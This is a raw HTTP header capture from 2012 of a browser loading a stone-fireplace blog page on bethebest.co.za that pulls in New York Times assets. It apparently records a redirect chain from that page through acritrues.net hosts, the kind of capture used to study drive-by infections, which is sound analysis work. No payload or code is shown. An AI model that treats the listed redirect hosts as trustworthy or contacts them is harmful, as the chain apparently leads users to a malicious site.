GET /images/article/functions/tools_email.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/modules/articletools.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Wed, 09 Jun 2010 19:29:30 GMT Accept-Ranges: bytes Content-Length: 74 Cache-Control: private, max-age=558473 Expires: Tue, 13 Nov 2012 09:45:44 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /adx/images/ADS/26/92/ad.269240/FSL_promo10knoloop.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache Last-Modified: Tue, 14 Jun 2011 21:06:59 GMT Accept-Ranges: bytes Content-Length: 6627 Cneonction: close Cache-Control: private, max-age=3996 Expires: Tue, 06 Nov 2012 23:44:27 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /images/article/functions/tools_print.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/modules/articletools.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Wed, 09 Jun 2010 19:29:31 GMT Accept-Ranges: bytes Content-Length: 108 Cneonction: close Cache-Control: private, max-age=545085 Expires: Tue, 13 Nov 2012 06:02:36 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /images/article/functions/tools_reprints.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/modules/articletools.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Wed, 09 Jun 2010 19:29:30 GMT Accept-Ranges: bytes Content-Length: 73 Cache-Control: private, max-age=516331 Expires: Mon, 12 Nov 2012 22:03:22 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /images/icons/multimedia/enlarge_icon.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:53 GMT Accept-Ranges: bytes Content-Length: 68 Cneonction: close Cache-Control: private, max-age=26019 Expires: Wed, 07 Nov 2012 05:51:30 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /images/global/borders/doubleRule.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/layout.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 46 Cneonction: close Cache-Control: private, max-age=44538 Expires: Wed, 07 Nov 2012 11:00:09 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /images/misc/bullet4x4.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/global.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Fri, 25 Mar 2011 19:37:16 GMT Accept-Ranges: bytes Content-Length: 68 Cneonction: close Cache-Control: private, max-age=774377 Expires: Thu, 15 Nov 2012 21:44:08 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /ads/marketing/mm11/video_070111.jpg HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Thu, 30 Jun 2011 15:58:50 GMT Accept-Ranges: bytes Content-Length: 17231 nnCoection: close Cache-Control: private, max-age=3926 Expires: Tue, 06 Nov 2012 23:43:17 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /pblog/2009/stone-fireplace-designs.html HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive	HTTP/1.1 200 OK Content-Type: text/html Date: Tue, 06 Nov 2012 22:34:21 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Last-Modified: Sun, 04 Sep 2011 03:08:00 GMT Etag: "d870621-85ad-4ac14e6e60400" Accept-Ranges: bytes Content-Length: 34221 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
GET /adx/images/ADS/26/89/ad.268900/11-0220_AudienceDev_86x60_lowe.jpg HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 10 Jun 2011 14:42:24 GMT Accept-Ranges: bytes Content-Length: 3179 Cneonction: close Cache-Control: private, max-age=3974 Expires: Tue, 06 Nov 2012 23:44:06 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /pblog/images/ed5caafcaf33b2d6.jpg HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 06 Nov 2012 22:34:22 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Last-Modified: Sun, 04 Sep 2011 03:19:00 GMT Etag: "d8708a1-354-4ac150e3cd100" Accept-Ranges: bytes Content-Length: 852 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
GET /adx/images/ADS/26/47/ad.264772/336x79.jpg HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Thu, 28 Apr 2011 15:48:37 GMT Accept-Ranges: bytes Content-Length: 16755 nnCoection: close Cache-Control: private, max-age=3909 Expires: Tue, 06 Nov 2012 23:43:01 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /images/global/icons/feed_icon_16x16.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/shell.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 653 Cache-Control: private, max-age=26685 Expires: Wed, 07 Nov 2012 06:02:37 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /images/global/buttons/moth_reverse.gif HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 132 Cache-Control: private, max-age=46806 Expires: Wed, 07 Nov 2012 11:37:58 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /images/global/buttons/moth_forward.gif HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 130 Cache-Control: private, max-age=55022 Expires: Wed, 07 Nov 2012 13:54:54 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /images/2011/07/01/world/01moth_germany/01moth_germany-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 05:55:06 GMT Accept-Ranges: bytes Content-Length: 9798 nnCoection: close Cache-Control: private, max-age=522357 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /images/2011/07/03/travel/03moth_hours/03moth_hours-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 06:04:13 GMT Accept-Ranges: bytes Content-Length: 17035 Cneonction: close Cache-Control: private, max-age=522357 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /images/2011/07/01/opinion/01moth_rfd/01moth_rfd-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 07:14:28 GMT Accept-Ranges: bytes Content-Length: 9863 nnCoection: close Cache-Control: private, max-age=522357 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /images/2011/07/01/sports/01moth_clock/01moth_clock-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 06:00:32 GMT Accept-Ranges: bytes Content-Length: 8872 nnCoection: close Cache-Control: private, max-age=522357 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /images/2011/07/01/movies/01moth-larry/01moth-larry-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 05:57:40 GMT Accept-Ranges: bytes Content-Length: 15810 Cneonction: close Cache-Control: private, max-age=522357 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: keep-alive
GET /in.cgi?2 HTTP/1.1 Host: acritrues.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 302 Found HTTP/1.1 302 Found Date: Tue, 06 Nov 2012 22:37:51 GMT Location: http://w.acritrues.net/ Content-Length: 0 Server: Jetty(6.1.26)
POST / HTTP/1.1 Host: rapidssl-ocsp.geotrust.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 102 Content-Type: application/ocsp-request	HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1330 Date: Tue, 06 Nov 2012 22:37:52 GMT Connection: close
GET / HTTP/1.1 Host: w.acritrues.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 06 Nov 2012 22:37:53 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.10 Set-Cookie: dd=1352241473; expires=Tue, 06-Nov-2012 23:37:53 GMT Content-Encoding: gzip Vary: Accept-Encoding Content-Length: 542 Connection: close
GET /regilite?product=NA HTTP/1.1 Host: myaccount.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Server: Sun-Java-System-Web-Server/7.0 Date: Tue, 06 Nov 2012 22:37:53 GMT Content-Length: 702 Cneonction: close Expires: Mon, 31 Dec 2000 10:10:10 GMT Cache-Control: no-cache
GET / HTTP/1.1 Host: www3.acritrues.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://w.acritrues.net/	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 06 Nov 2012 22:37:53 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.16 Set-Cookie: gvc=913vr997870735615201; expires=Sun, 05-Nov-2017 22:37:53 GMT; path=/; domain=www3.acritrues.net; httponly Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Content-Length: 58 Keep-Alive: timeout=5, max=123 Connection: Keep-Alive
GET /css/standalone/regilite/screen/regiLite.css HTTP/1.1 Host: static.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://myaccount.nytimes.com/regilite?product=NA	HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 06 Nov 2012 22:37:53 GMT Server: Apache Last-Modified: Sat, 04 Aug 2012 21:12:35 GMT Accept-Ranges: bytes Cache-Control: max-age=86400, private Expires: Wed, 07 Nov 2012 22:37:53 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 874 Cneonction: close
GET /css/common/global.css HTTP/1.1 Host: static.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://myaccount.nytimes.com/regilite?product=NA	HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 06 Nov 2012 22:37:53 GMT Server: Apache Last-Modified: Sat, 04 Aug 2012 21:18:21 GMT Accept-Ranges: bytes Cache-Control: max-age=86400, private Expires: Wed, 07 Nov 2012 22:37:53 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 482 Cneonction: close
GET /images/membercenter/icon_alert.png HTTP/1.1 Host: static.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://myaccount.nytimes.com/regilite?product=NA	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 06 Nov 2012 22:37:53 GMT Server: Apache Last-Modified: Mon, 20 Sep 2010 18:54:22 GMT Accept-Ranges: bytes Content-Length: 3197 Cache-Control: max-age=691200, private Expires: Wed, 14 Nov 2012 22:37:53 GMT nnCoection: close
GET /pblog/images/54f741adee1dec76.jpg HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 06 Nov 2012 22:34:22 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Last-Modified: Sun, 04 Sep 2011 03:19:00 GMT Etag: "d87089b-2992e-4ac150e3cd100" Accept-Ranges: bytes Content-Length: 170286 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
GET /favicon.ico HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive	HTTP/1.1 404 Not Found Content-Type: text/html; charset=iso-8859-1 Date: Tue, 06 Nov 2012 22:34:24 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Content-Length: 512 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive
GET /favicon.ico HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive	HTTP/1.1 404 Not Found Content-Type: text/html; charset=iso-8859-1 Date: Tue, 06 Nov 2012 22:34:27 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Content-Length: 512 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive